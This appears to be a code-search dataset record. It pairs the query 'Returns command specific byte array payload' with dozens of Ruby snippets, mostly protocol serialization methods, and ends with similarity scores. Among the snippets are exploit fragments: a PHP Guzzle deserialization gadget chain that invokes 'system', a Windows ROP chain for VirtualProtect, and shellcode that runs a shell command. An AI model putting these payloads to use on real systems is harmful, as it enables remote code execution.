[0xFF, 0xFF, 0xFF, 0xFF, @header_data, @content_data.string].pack('c5a*')\n end", "def build\n unpack_chars(Marshal.dump(@command))\n end", "def to_s\n @packet_data\n end", "def to_s\n packet = build_packet\n @packet_size = packet.length\n return [@packet_size].pack(\"V\") + packet\n end", "def to_binary()\n return self.unpack('B*').join\n end", "def send_command_old(*args)\n # flatten the args, make sure each byte is between 0-0xFF, and send it.\n command_str = \"char-write-cmd 0x001b \" + args.flatten.map {|b| sprintf(\"%02X\", b & 0xFF)}.join\n # puts command_str\n @mip_writer.puts(command_str)\n \n # TODO: check to see if the reader has anything in the buffer, then read\n until @mip_reader.ready?\n sleep(1)\n end\n @response = @mip_reader.read_nonblock(1000)[command_str.length+1 .. -1]\n \n # return any response in packed byte format\n # pack_response(@mip_reader.read)\n end", "def packed()\n body = @status.chr + \n @flags.chr + \n TacacsPlus.pack_int_net(@server_msg_len,2) + \n TacacsPlus.pack_int_net(@data_len,2) \n \n body << @server_msg if (@server_msg)\n body << @data if (@data) \n return(body)\n end", "def data\n @buffer.string\n end", "def to_s\n fill\n String.from_java_bytes(@baos.toByteArray)\n end", "def to_bytes()\n packer = Packer.new()\n\n full_flags = ((@qr << 15) & 0x8000) |\n ((@opcode << 11) & 0x7800) |\n ((@flags << 7) & 0x0780) |\n ((@rcode << 0) & 0x000F)\n\n packer.pack('nnnnnn',\n @trn_id, # trn_id\n full_flags, # qr, opcode, flags, rcode\n @questions.length(), # qdcount\n @answers.length(), # ancount\n 0, # nscount (we don't handle)\n 0, # arcount (we don't handle)\n )\n\n questions.each do |q|\n q.pack(packer)\n end\n\n answers.each do |a|\n a.pack(packer)\n end\n\n return packer.get()\n end", "def packed()\n body = TacacsPlus.pack_int_net(@user_msg_len,2) +\n TacacsPlus.pack_int_net(@data_len,2) +\n @flags.chr\n \n body << @user_msg if (@user_msg)\n body << @data if (@data)\n return(body)\n end", "def read_command(cmd, synth=SYNTH_A)\n # Make sure cmd is valid\n raise \"unknown command #{cmd}\" unless LENGTH.has_key?(cmd)\n # Make sure synth has no stray bits set\n synth &= (SYNTH_A|SYNTH_B)\n # Get length of data to read\n length = LENGTH[cmd]\n\n serialport do |sp|\n cmd = RD|synth|cmd\n sp.write(cmd.chr)\n data = sp.read(length)\n csum = sp.read(1)\n if @debug\n print\"data\"\n data.each_char {|c| print \" %02x\" % c.ord}\n puts csum ? \"\\ncsum %02x\" % csum.ord : \"\\ncsum --\"\n end\n if !csum || !Valon.checksum_ok?(csum, data)\n #p \"data=#{data.inspect} (len #{data.length})\"\n #p \"csum=#{csum.inspect}\"\n raise 'checksum error'\n end\n return data\n end\n end", "def to_buffer\n validate_binary_operations\n @request.perform(binary: true)\n end", "def hex_cmd_id\n \"0x\" + @cmd_id.to_s(16)\n end", "def to_s\n [0xFFFFFFFF, @content_data.string].pack('Va*')\n end", "def getc\n @port.read_byte.chr\n end", "def send_command( command )\n cmd = \"MESSAGET #{command.size}\\n#{command}\\n\"\n logger.debug( \">>> Sending cmd #{cmd.gsub( /\\n/, ' ' )}\" )\n \n out_socket.send( cmd , 0 )\n result = out_socket.recv(100)\n logger.debug( \"<<< Result ==> #{result}\" )\n result\n end", "def to_payload\n version.htb << [depth].pack('C') << parent_fingerprint.htb <<\n [number].pack('N') << chain_code << [0x00].pack('C') << key.priv_key.htb\n end", "def payload\n {\n command_name: upconverter.command_name,\n database_name: @database,\n command: upconverter.command,\n request_id: request_id\n }\n end", "def packed()\n body = TacacsPlus.pack_int_net(@server_msg_len,2) +\n TacacsPlus.pack_int_net(@data_len,2) + \n @status.chr\n \n body << @server_msg if (@server_msg)\n body << @data if (@data)\n\n return(body)\n end", "def command(command)\n \n if ! @authed\n raise RCon::NetworkException.new(\"You must authenticate the connection successfully before sending commands.\")\n end\n\n @packet = RCon::Packet::Source.new\n @packet.command(command)\n\n @socket.print @packet.to_s\n rpacket = build_response_packet\n\n if rpacket.command_type != RCon::Packet::Source::RESPONSE_NORM\n raise RCon::NetworkException.new(\"error sending command: #{rpacket.command_type}\")\n end\n\n if @return_packets\n return rpacket\n else\n return rpacket.string1\n end\n end", "def command(command)\n \n if ! @authed\n raise RCon::NetworkException.new(\"You must authenticate the connection successfully before sending commands.\")\n end\n\n @packet = RCon::Packet::Source.new\n @packet.command(command)\n\n @socket.print @packet.to_s\n rpacket = build_response_packet\n\n if rpacket.command_type != RCon::Packet::Source::RESPONSE_NORM\n raise RCon::NetworkException.new(\"error sending command: #{rpacket.command_type}\")\n end\n\n if @return_packets\n return rpacket\n else\n return rpacket.string1\n end\n end", "def full_command\n command_array.join(' ')\n end", "def to_payload\n Bitcoin.chain_params.extended_privkey_version.htb << [depth].pack('C') <<\n parent_fingerprint.htb << [number].pack('N') << chain_code << [0x00].pack('C') << key.priv_key.htb\n end", "def bytes\n self\n end", "def get\n to_array.join(\"\\r\\n\")\n end", "def to_byte\n self.chr\n end", "def encode\n Logger.debug \"encoding #{self.inspect}\"\n class_mapper = RocketAMF::ClassMapper.new\n ser = RocketAMF::Serializer.new class_mapper\n\n if amf3?\n ser.stream << \"\\x00\"\n end\n\n ser.serialize 0, command\n ser.serialize 0, transaction_id\n\n if amf3?\n ser.stream << \"\\x05\"\n ser.stream << \"\\x11\"\n ser.serialize 3, values.first\n else\n values.each do |value|\n ser.serialize 0, value\n end\n end\n\n ser.stream\n end", "def bytes\n @bytes ||= [ @timestamp >> 32,\n @timestamp & 0xFFFF_FFFF,\n @node_id >> 32,\n @node_id & 0xFFFF_FFFF ].pack(\"NNNN\")\n end", "def marshallMsg\n msgstr = String.new(@istr) \n @@cmdSeqNo = @@cmdSeqNo + 1\n seqstr = to_s_i(@@cmdSeqNo)\n msgstr[0] = seqstr[0]\n msgstr[1] = seqstr[1]\n msgstr[2] = seqstr[2]\n msgstr[3] = seqstr[3]\n t = Time.now\n timestr = to_s_i(t.to_i)\n msgstr = msgstr + timestr \n msgstr[8] = @pktFormat\n msgstr[9] = 0\n msgstr[10] = @cmd\n msgstr[11] = 0\n ipstr = to_s_i(@myIp)\n msgstr = msgstr + ipstr \n msgstr = msgstr + @version\n msgstr[18] = @nodeType\n msgstr[19] = 0\n msgstr = msgstr + @cmStatus.to_s\n msgstr = msgstr + @mac11.to_s \n msgstr = msgstr + @mac12.to_s\n msgstr = msgstr + @mac13.to_s \n msgstr = msgstr + @mac14.to_s\n\n return msgstr\n end", "def emit\n # Get the bytes in network byte order\n case @value\n when (-32768..32767): bytes = [@value].pack(\"n\").unpack(\"C*\")\n else bytes = [@value].pack(\"N\").unpack(\"C*\")\n end\n bytes.insert 0, OPCODES[bytes.size]\n end", "def formulate_command\n @command\n end", "def bytes\n @slots.map { |s| s.nil? && [0, 0] || [s.hash, s.offset] }\n .flatten\n .pack('V*')\n end", "def data\n data = \"\".b\n txdata = @transaction.data\n data << WireFormat.encode_string(txdata)\n @inputs.each do |ain|\n data << ain.assets_data\n end\n @outputs.each do |aout|\n if !aout.marker?\n data << aout.assets_data\n end\n end\n data\n end", "def make_command(msg_id, extra)\r\n\t\t# Two opcodes, get handled differently..\r\n\t\tcase msg_id\r\n\t\twhen 0x30001\r\n\t\t\tdata = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')\r\n\r\n\t\twhen 0x30002\r\n\t\t\tdata = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')\r\n\r\n\t\tend\r\n\r\n\t\t# Put some data on...\r\n\t\tdata << extra\r\n\r\n\t\t# Pad it to 8 bytes...\r\n\t\tleft = data.length % 8\r\n\t\tdata << (\"\\x00\" * (8 - left)) if (left > 0)\r\n\r\n\t\t# Combine the pieces..\r\n\t\tpkt = [\r\n\t\t\t(data.length / 8) + 1, # chunkLen\r\n\t\t\tmsg_id # msg ID\r\n\t\t].pack('VV')\r\n\t\tpkt << data\r\n\r\n\t\tpkt\r\n\tend", "def to_hex\n Executor.execute(command)\n\n Hex.new(:source => target)\n end", "def data_as_bytes\n raise \"subclass responsibility\"\n end", "def as_received\n raw_data\n end", "def to_s\n\t\t\treturn @buffer.to_s\n\t\tend", "def buffer\n @transfer[:buffer].read_string(@transfer[:length])\n end", "def packed()\n header = self.version.chr + \n @type.chr + \n @seq_no.chr + \n @flags.chr + \n TacacsPlus.pack_int_net(@session_id,4) + \n TacacsPlus.pack_int_net(@length,4)\n return(header)\n end", "def bytes()\n\t\t\treturn [\n\t\t\t\t(@addr >> 40 & 0xff).to_s(16).rjust(2, \"0\"),\n\t\t\t\t(@addr >> 32 & 0xff).to_s(16).rjust(2, \"0\"),\n\t\t\t\t(@addr >> 24 & 0xff).to_s(16).rjust(2, \"0\"),\n\t\t\t\t(@addr >> 16 & 0xff).to_s(16).rjust(2, \"0\"),\n\t\t\t\t(@addr >> 8 & 0xff).to_s(16).rjust(2, \"0\"),\n\t\t\t\t(@addr & 0xff).to_s(16).rjust(2, \"0\"),\n\t\t\t\t]\n\t\tend", "def get_byte\n byte = @connection.getbyte.to_s 2\n byte = \"0\" * (8 - byte.length) + byte\n end", "def hexbytes\n to_s.bytes.map { |b| sprintf(\"%02x\", b) }.join(\",\")\n end", "def command_content\n return @command_content\n end", "def convert_data(command)\n converted = ''\n command.each do |c|\n converted << c.chr\n end\n converted\n end", "def byte_arr_to_string arr\n arr.pack(\"c*\")\nend", "def raw_bytes\n @raw_bytes ||= read_raw_bytes\n end", "def encoded \n @command.to_mikrotik_word + @options.collect { |key, value|\n case value.class.name\n when 'Array' \n [key, value.collect { |item| \"#{item}\" }.join(',')].join '=' \n else\n \"#{key}=#{value}\"\n end\n }.map { |option| option.to_mikrotik_word }.join + 0x00.chr\n end", "def bytes_to_bin(bytes)\n bytes.pack(\"C*\")\n end", "def message\n\t\t\t@packet.message\n\t\tend", "def hexserial\n @cert.serial.to_s(16)\n end", "def phpggc_payload(cmd)\r\n (\r\n # http://www.phpinternalsbook.com/classes_objects/serialization.html\r\n <<~EOF\r\n O:24:\"GuzzleHttp\\\\Psr7\\\\FnStream\":2:{\r\n s:33:\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\";a:1:{\r\n s:5:\"close\";a:2:{\r\n i:0;O:23:\"GuzzleHttp\\\\HandlerStack\":3:{\r\n s:32:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\";\r\n s:cmd_len:\"cmd\";\r\n s:30:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\";\r\n a:1:{i:0;a:1:{i:0;s:6:\"system\";}}\r\n s:31:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\";\r\n b:0;\r\n }\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n s:9:\"_fn_close\";a:2:{\r\n i:0;r:4;\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n EOF\r\n ).gsub(/\\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)\r\n end", "def raw_command\n @raw_command ||= @raw.split[0] || \"\"\n end", "def serial_read_int()\n return serial_read_line().hex\n end", "def serialize_old_format\n buf = [self.version].pack('V')\n buf << Bitcoin.pack_var_int(self.inputs.length) << self.inputs.order(index: :asc).map(&:to_payload).join\n buf << Bitcoin.pack_var_int(self.outputs.length) << self.outputs.order(n: :asc).map(&:to_payload).join\n buf << [self.lock_time].pack('V')\n buf\n end", "def operation\n self[:operation].to_endian(:big)\n end", "def get_raw_buffer\n @buffer\n end", "def bytes\n speech = bytes_wav\n res = IO.popen(std_lame_command(command_options), 'r+') do |process|\n process.write(speech)\n process.close_write\n process.read\n end\n res.to_s\n end", "def sign(cmd)\n \t\t\t\tiv = rand(0xffffffff).to_i.to_s(16).upcase.rjust(8,\"0\")\n \t\t\t\tdigest = Digest::MD5.hexdigest(cmd+iv).upcase\n \t\t\t\tsb = [@signature_block + digest].pack(\"h*\")\n \t\t\t\tsig = @signingkey_priv.private_encrypt(sb).unpack(\"h*\")[0].upcase\n \t\t\t\t# i haven't a clue what those numbers are on the front, 10|3|22\n \t\t\t\t\"10|3|22|#{cmd}|#{sig}|#{iv}\"\n \t\t\tend", "def serialize\n lf = \"\\n\"\n (@cmds.join lf) + lf\n end", "def to_payload\n payload = [OAP_MARKER, VERSION]\n asset_quantity_count = Bitcoin::Protocol.pack_var_int(@asset_quantities.length).unpack(\"H*\")\n payload << sort_count(asset_quantity_count[0])\n @asset_quantities.map{|q|payload << encode_leb128(q)}\n @metadata ||= ''\n metadata_length = Bitcoin::Protocol.pack_var_int(@metadata.length).unpack(\"H*\")\n payload << sort_count(metadata_length[0])\n payload << @metadata.bytes.map{|b| sprintf(\"%02x\", b)}.join\n payload.join\n end", "def content_string\n all_bytes.pack('C*') if(all_bytes)\n end", "def send_command(command) \n command_str = command.to_encoded_str\n if @out_command_hasher\n send_frame command_str + @out_command_hasher.hash(command_str)\n else\n send_frame command_str\n end\n end" ]
[ "0.71810544", "0.684708", "0.64292467", "0.6294991", "0.6265461", "0.62143046", "0.6108205", "0.6094925", "0.6072377", "0.60315466", "0.6025726", "0.60173786", "0.60107833", "0.5993043", "0.59814286", "0.5969958", "0.5956447", "0.59559375", "0.5955196", "0.5955189", "0.59507954", "0.5946267", "0.5932663", "0.59230703", "0.5914791", "0.59078574", "0.5873979", "0.5873046", "0.5870064", "0.5858393", "0.5858393", "0.5858393", "0.5801662", "0.57891965", "0.57881576", "0.57881576", "0.57846916", "0.5775314", "0.5757574", "0.5753268", "0.5739423", "0.57180196", "0.57011", "0.56842905", "0.56713814", "0.5671083", "0.56487864", "0.5648314", "0.56403345", "0.56271017", "0.562617", "0.5607358", "0.5572671", "0.55656826", "0.55632424", "0.5562212", "0.55618685", "0.55618685", "0.5552484", "0.55344385", "0.55246216", "0.5520647", "0.5514819", "0.55095375", "0.5498108", "0.54955155", "0.54897904", "0.5473023", "0.5471607", "0.5466174", "0.54552674", "0.54547024", "0.5450619", "0.5448838", "0.54424745", "0.54371345", "0.5425546", "0.5420989", "0.5394052", "0.5382647", "0.5376758", "0.5375233", "0.53736806", "0.5369355", "0.5354755", "0.53545403", "0.5340503", "0.5339418", "0.533781", "0.5335916", "0.53348607", "0.533187", "0.5326459", "0.53262264", "0.5320916", "0.53207445", "0.5318928", "0.53154767", "0.5315116", "0.53105754" ]
0.81100625
0
Returns command specific byte array payload
def command_payload_bytes raise MovingsignApi::NotImplementedError, "Needs to be implemented in subclass." end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_bytes\n # set defaults\n self.sender ||= :pc\n self.receiver ||= 1\n\n bytes = []\n\n bytes.concat [0x00] * 5 # start of command\n bytes.concat [0x01] # <SOH>\n bytes.concat self.sender.to_bytes # Sender Address\n bytes.concat self.receiver.to_bytes # Reciver Address\n bytes.concat [0x02] # <STX>\n bytes.concat string_to_ascii_bytes(command_code) # Command Code\n bytes.concat command_payload_bytes # command specific payload\n bytes.concat [0x03] # <ETX>\n bytes.concat generate_checksum_bytes(bytes[10..-1]) # Checksum bytes (4)\n bytes.concat [0x04] # <EOT>\n\n bytes\n end", "def phpggc_payload(cmd)\r\n (\r\n # http://www.phpinternalsbook.com/classes_objects/serialization.html\r\n <<~EOF\r\n O:24:\"GuzzleHttp\\\\Psr7\\\\FnStream\":2:{\r\n s:33:\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\";a:1:{\r\n s:5:\"close\";a:2:{\r\n i:0;O:23:\"GuzzleHttp\\\\HandlerStack\":3:{\r\n s:32:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\";\r\n s:cmd_len:\"cmd\";\r\n s:30:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\";\r\n a:1:{i:0;a:1:{i:0;s:6:\"system\";}}\r\n s:31:\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\";\r\n b:0;\r\n }\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n s:9:\"_fn_close\";a:2:{\r\n i:0;r:4;\r\n i:1;s:7:\"resolve\";\r\n }\r\n }\r\n EOF\r\n ).gsub(/\\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)\r\n end", "def command_content\n return @command_content\n end", "def payload\n {\n command_name: upconverter.command_name,\n database_name: @database,\n command: upconverter.command,\n request_id: request_id\n }\n end", "def data_as_bytes\n data = []\n data << @status\n data << @meta_type\n data << 4\n data << @data[0]\n data << @data[1]\n data << @data[2]\n data << @data[3]\n end", "def data_as_bytes\n data = []\n data << @status\n data << @meta_type\n data << 2\n data << @data[0]\n data << (@data[1] ? 1 : 0)\n end", "def payload; message[:payload]; end", "def payload\n BSON::Document.new(\n command_name: command.keys.first.to_s,\n database_name: global_args[DATABASE_IDENTIFIER],\n command: command,\n request_id: request_id,\n reply: sections[0]\n )\n end", "def data\n identifier = @identifier || 0\n expiry = @expiry || 0\n size = [payload].pack(\"a*\").size\n data_array = [1, identifier, expiry, 32, token, size, payload]\n data_array.pack(\"cNNnH*na*\")\n end", "def command\n return @raw_command\n end", "def raw_body\n @raw_body ||= @raw[(raw_command.length + 1)..-1] || \"\"\n end", "def payload\n @payload[0] if @payload\n end", "def payload\n # TODO(sissel): Handle massive payload lengths without exceeding memory.\n # Perhaps if the payload is large (say, larger than 500KB by default),\n # instead of returning the whole thing, simply return an Enumerable that\n # yields chunks of the payload. There's no reason to buffer the entire\n # thing. Have the consumer of this library make that decision.\n data = get(@need)\n transition(:flags_and_opcode, 1)\n if @masked\n return unmask(data, @mask)\n else\n return data\n end\n end", "def get_payload(cli, browser_info)\n arch = browser_info[:arch]\n platform = browser_info[:os_name]\n\n # Fix names for consistency so our API can find the right one\n # Originally defined in lib/msf/core/constants.rb\n platform = platform.gsub(/^Mac OS X$/, 'OSX')\n platform = platform.gsub(/^Windows.*$/, 'Windows')\n\n p = regenerate_payload(cli, platform, arch)\n target_arch = get_target.arch || arch\n\n unless p.arch.all? { |e| target_arch.include?(e) }\n err = \"The payload arch (#{p.arch * \", \"}) is incompatible with the target (#{target_arch * \"\\n\"}). \"\n err << \"Please check your payload setting.\"\n raise BESException, err\n end\n\n return p.encoded\n end", "def command_params\n params[:command]\n end", "def to_a\n return [] unless @ready\n\n bytes = [OP_CODES[@op][@mode][:byte]]\n\n if [:a, :ar].include?(@mode) || (@arg && @arg > 255)\n bytes += [@arg.ls_byte, @arg.ms_byte]\n elsif @arg\n bytes += [@arg]\n else\n bytes\n end\n end", "def payload\n @payload\n end", "def to_payload\n pin = @in.map{|i|\n buf = [ i.prev_out, i.prev_out_index ].pack(\"a32I\")\n buf << Protocol.pack_var_int(i.script_sig_length)\n buf << i.script_sig if i.script_sig_length > 0\n buf << (i.sequence || \"\\xff\\xff\\xff\\xff\")\n }.join\n\n pout = @out.map{|o|\n buf = [ o.value ].pack(\"Q\")\n buf << Protocol.pack_var_int(o.pk_script_length)\n buf << o.pk_script if o.pk_script_length > 0\n buf\n }.join\n\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(@out.size)\n [[@ver].pack(\"I\"), in_size, pin, out_size, pout, [@lock_time].pack(\"I\")].join\n end", "def build\n unpack_chars(Marshal.dump(@command))\n end", "def to_s\n msg_str = \"Command Packet Hex Str: #{@cmd_str.to_s}\\n\"\n msg_str << \"net_id: #{@net_id}\\n\"\n msg_str << \"pkt_no: #{@pkt_no}\\n\"\n msg_str << \"cmd_id: #{@cmd_id.to_s(16)}\\n\"\n msg_str << \"res_req: #{@res_req}\\n\"\n msg_str << \"ack_req: #{@ack_req}\\n\"\n msg_str << \"ack_bit: #{@ack_bit}\\n\"\n msg_str << \"err_bit: #{@err_bit}\\n\"\n if @data != nil\n data_str = \"\"\n if @data == CmdManager::DONT_CARE\n data_str = CmdManager::DONT_CARE\n else \n @data.each{|x| \n if x == CmdManager::DONT_CARE\n data_str << CmdManager::DONT_CARE\n else\n data_str << \"#{x.to_s(16)} \"\n end\n }\n end\n \n msg_str << \"data: [#{data_str.chop}]\\n\"\n end\n if @error_no != 0\n msg_str << \"error_desc: #{@error_desc}\\n\"\n end\n \n msg_str\n end", "def get_data\n return @data.unpack(\"S>*\")\n end", "def build_packet\n return [@request_id, @command_type, @string1, @string2].pack(\"VVa#{@string1.length}a2\")\n end", "def get_tx_data\n return self.sendcmd(\"tx.get_data\")\n end", "def packed()\n body = @action.chr + \n @priv_lvl.chr + \n @authen_type.chr + \n @service.chr + \n @user_len.chr + \n @port_len.chr + \n @rem_addr_len.chr + \n @data_len.chr\n\n body << @user if (@user)\n body << @port if (@port)\n body << @rem_addr if (@rem_addr)\n body << @data if (@data)\n return(body)\n end", "def raw_command\n @raw_command ||= @raw.split[0] || \"\"\n end", "def make_command(msg_id, extra)\r\n\t\t# Two opcodes, get handled differently..\r\n\t\tcase msg_id\r\n\t\twhen 0x30001\r\n\t\t\tdata = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')\r\n\r\n\t\twhen 0x30002\r\n\t\t\tdata = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')\r\n\r\n\t\tend\r\n\r\n\t\t# Put some data on...\r\n\t\tdata << extra\r\n\r\n\t\t# Pad it to 8 bytes...\r\n\t\tleft = data.length % 8\r\n\t\tdata << (\"\\x00\" * (8 - left)) if (left > 0)\r\n\r\n\t\t# Combine the pieces..\r\n\t\tpkt = [\r\n\t\t\t(data.length / 8) + 1, # chunkLen\r\n\t\t\tmsg_id # msg ID\r\n\t\t].pack('VV')\r\n\t\tpkt << data\r\n\r\n\t\tpkt\r\n\tend", "def payload\n {\n command_name: 'insert',\n database_name: @database,\n command: upconverter.command,\n request_id: request_id\n }\n end", "def to_s\n return command\n end", "def payload\n @captured[payload_offset, @capture_length]\n end", "def payload\n @payload.fetch('payload')\n end", "def data\n @buffer.string\n end", "def read_cmd(length = nil)\n\tend", "def args\n @payload['args']\n end", "def payload; end", "def payload; end", "def command\n @attributes['command']\n end", "def read_payload\n ascii_str = File.read(\"/dev/urandom\", @bytes_to_read)\n utf8_str = ascii_to_utf8(ascii_str)\n formatted_str = format_string(utf8_str)\n @payload = formatted_str\n end", "def bytes(*args); data(1, *args); end", "def bytes\n\t\tbin.unpack('C*')\n\tend", "def to_s\n [0, 32, @device_token, @payload.length, @payload ].pack(\"CnH*na*\")\n end", "def to_payload\n payload = \"\"\n tx_in_wit.each{|w|payload << w.to_payload}\n payload\n end", "def to_bin\n [\n \"data\",\n [body.size].pack(\"V\"),\n body\n ].join\n end", "def data\n @payload['data']\n end", "def full_command\n command_array.join(' ')\n end", "def raw\n @buffer\n end", "def as_received\n raw_data\n end", "def get_payload(t)\n\t\t# chain generated by mona.py - See corelan.be\n\t\tcase t['Rop']\n\t\twhen :msvcrt\n\t\t\trop =\n\t\t\t[\n\t\t\t\t0x77c4e392, # POP EAX # RETN\n\t\t\t\t0x77c11120, # <- *&VirtualProtect()\n\t\t\t\t0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN\n\t\t\t\tjunk,\n\t\t\t\t0x77c2dd6c,\n\t\t\t\t0x77c4ec00, # POP EBP # RETN\n\t\t\t\t0x77c35459, # ptr to 'push esp # ret'\n\t\t\t\t0x77c47705, # POP EBX # RETN\n\t\t\t\t0x00000800, # <- change size to mark as executable if needed (-> ebx)\n\t\t\t\t0x77c3ea01, # POP ECX # RETN\n\t\t\t\t0x77c5d000, # W pointer (lpOldProtect) (-> ecx)\n\t\t\t\t0x77c46100, # POP EDI # RETN\n\t\t\t\t0x77c46101, # ROP NOP (-> edi)\n\t\t\t\t0x77c4d680, # POP EDX # RETN\n\t\t\t\t0x00000040, # newProtect (0x40) (-> edx)\n\t\t\t\t0x77c4e392, # POP EAX # RETN\n\t\t\t\tnop, # NOPS (-> eax)\n\t\t\t\t0x77c12df9, # PUSHAD # RETN\n\t\t\t].pack(\"V*\")\n\n\t\twhen :jre\n\t\t\trop =\n\t\t\t[\n\t\t\t\t0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN\n\t\t\t\t0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)\n\t\t\t\t0x7c347f98, # RETN (ROP NOP)\n\t\t\t\t0x7c3415a2, # JMP [EAX]\n\t\t\t\t0xffffffff,\n\t\t\t\t0x7c376402, # skip 4 bytes\n\t\t\t\t0x7c351e05, # NEG EAX # RETN\n\t\t\t\t0x7c345255, # INC EBX # FPATAN # RETN\n\t\t\t\t0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN\n\t\t\t\t0x7c344f87, # POP EDX # RETN\n\t\t\t\t0xffffffc0, # Value to negate, will become 0x00000040\n\t\t\t\t0x7c351eb1, # NEG EDX # RETN\n\t\t\t\t0x7c34d201, # POP ECX # RETN\n\t\t\t\t0x7c38b001, # &Writable location\n\t\t\t\t0x7c347f97, # POP EAX # RETN\n\t\t\t\t0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]\n\t\t\t\t0x7c378c81, # PUSHAD # ADD AL,0EF # RETN\n\t\t\t\t0x7c345c30, # ptr to 'push esp # ret '\n\t\t\t].pack(\"V*\")\n\t\tend\n\n\t\tcode = rop\n\t\tcode << make_nops(38)\n\t\tcode << Metasm::Shellcode.assemble(Metasm::Ia32.new, \"jmp $+0x6\").encode_string # instr length: 2 bytes\n\t\tcode << [t.ret].pack(\"V\") # Stack Pivot\n\t\tcode << payload.encoded\n\n\t\treturn code\n\tend", "def read_command(cmd, synth=SYNTH_A)\n # Make sure cmd is valid\n raise \"unknown command #{cmd}\" unless LENGTH.has_key?(cmd)\n # Make sure synth has no stray bits set\n synth &= (SYNTH_A|SYNTH_B)\n # Get length of data to read\n length = LENGTH[cmd]\n\n serialport do |sp|\n cmd = RD|synth|cmd\n sp.write(cmd.chr)\n data = sp.read(length)\n csum = sp.read(1)\n if @debug\n print\"data\"\n data.each_char {|c| print \" %02x\" % c.ord}\n puts csum ? \"\\ncsum %02x\" % csum.ord : \"\\ncsum --\"\n end\n if !csum || !Valon.checksum_ok?(csum, data)\n #p \"data=#{data.inspect} (len #{data.length})\"\n #p \"csum=#{csum.inspect}\"\n raise 'checksum error'\n end\n return data\n end\n end", "def payload\n @payload ||= JSON.parse(@message.value)\n end", "def command\n attributes.fetch(:command)\n end", "def command\n attributes.fetch(:command)\n end", "def command\n\n h.fields['__command__']\n end", "def convert_data(command)\n converted = ''\n command.each do |c|\n converted << c.chr\n end\n converted\n end", "def get_rx_data\n return self.sendcmd(\"rx.get_data\")\n end", "def getData\n\t \t@data = {'command' => @command, 'params' => @params}\n \treturn @data\n\t end", "def payload\n self[0...-SIGNATURE_LENGTH]\n end", "def bytes\n [self].pack(\"q>\").bytes.to_a.drop_while{|x| x == 0}\n end", "def formulate_command\n @command\n end", "def request(payload)\n payload = payload + \"\\0\" * ((16 - payload.length) % 16)\n req = [ @extra ].pack('S>')\n blocks = payload.length / 16\n req << blocks.chr\n req << @flags.chr\n req << @key\n req << @iv\n req << payload\n @udp.connect(@host, 1331)\n start_time = Time.now\n @udp.send(req, 0)\n resp = @udp.recvfrom(req.length).first\n end_time = Time.now\n reserved = resp.unpack('L>').first\n [ resp[4..-1], end_time - start_time ]\n end", "def printpacketdata\n puts \"@@packetdata =>\" + @@packetdata.bytes.to_s\nend", "def raw_bytes\n @raw_bytes ||= read_raw_bytes\n end", "def get_data command\n @columns, *rows = @db.execute2(command)\n @content = rows\n return nil if @content.nil? or @content[0].nil?\n @datatypes = @content[0].types #if @datatypes.nil?\n @command = command\n return @content\n end", "def packed()\n body = @status.chr + \n @flags.chr + \n TacacsPlus.pack_int_net(@server_msg_len,2) + \n TacacsPlus.pack_int_net(@data_len,2) \n \n body << @server_msg if (@server_msg)\n body << @data if (@data) \n return(body)\n end", "def packed()\n body = TacacsPlus.pack_int_net(@user_msg_len,2) +\n TacacsPlus.pack_int_net(@data_len,2) +\n @flags.chr\n \n body << @user_msg if (@user_msg)\n body << @data if (@data)\n return(body)\n end", "def message\n\t\t\t@packet.message\n\t\tend", "def generate_stage\n\t\tcmd = datastore['CMD'] || ''\n\t\tpayload =\n\t\t\t\"\\x6a\\x0b\\x58\\x99\\x52\\x66\\x68\\x2d\\x63\\x89\\xe7\\x68\" +\n\t\t\t\"\\x2f\\x73\\x68\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\" +\n\t\t\tRex::Arch::X86.call(cmd.length + 1) + cmd + \"\\x00\" +\n\t\t\t\"\\x57\\x53\\x89\\xe1\\xcd\\x80\"\n\tend", "def getbyte()\n #This is a stub, used for indexing\n end", "def select_command_module\n command_module_id = @params['command_module_id'] || nil\n (print_error \"command_module_id is nil\";return) if command_module_id.nil?\n command_module = BeEF::Core::Models::CommandModule.get(command_module_id)\n key = BeEF::Module.get_key_by_database_id(command_module_id)\n\n payload_name = @params['payload_name'] || nil\n if not payload_name.nil?\n @body = dynamic_payload2json(command_module_id, payload_name)\n else\n @body = command_modules2json([key])\n end\n end", "def payload=(_arg0); end", "def command_params\n params.fetch(:command, {})\n end", "def encode_to_array\n components = []\n components << [self.class.id, @channel, @payload.bytesize].pack(PACK_CHAR_UINT16_UINT32)\n components << self.class.encoded_payload(@payload)\n components << FINAL_OCTET\n components\n end", "def var_bytes()\n len = self.uint32()\n self.bytes(len)\n end", "def unpack(binary)\n end", "def data_as_bytes\n raise \"subclass responsibility\"\n end", "def getbyte\n end", "def getbyte\n end", "def bytes\n @bytes ||= [ @timestamp >> 32,\n @timestamp & 0xFFFF_FFFF,\n @node_id >> 32,\n @node_id & 0xFFFF_FFFF ].pack(\"NNNN\")\n end", "def get_message_payload(options = {})\n message = get_message(options)\n message.payload\n end", "def to_payload\n payload = 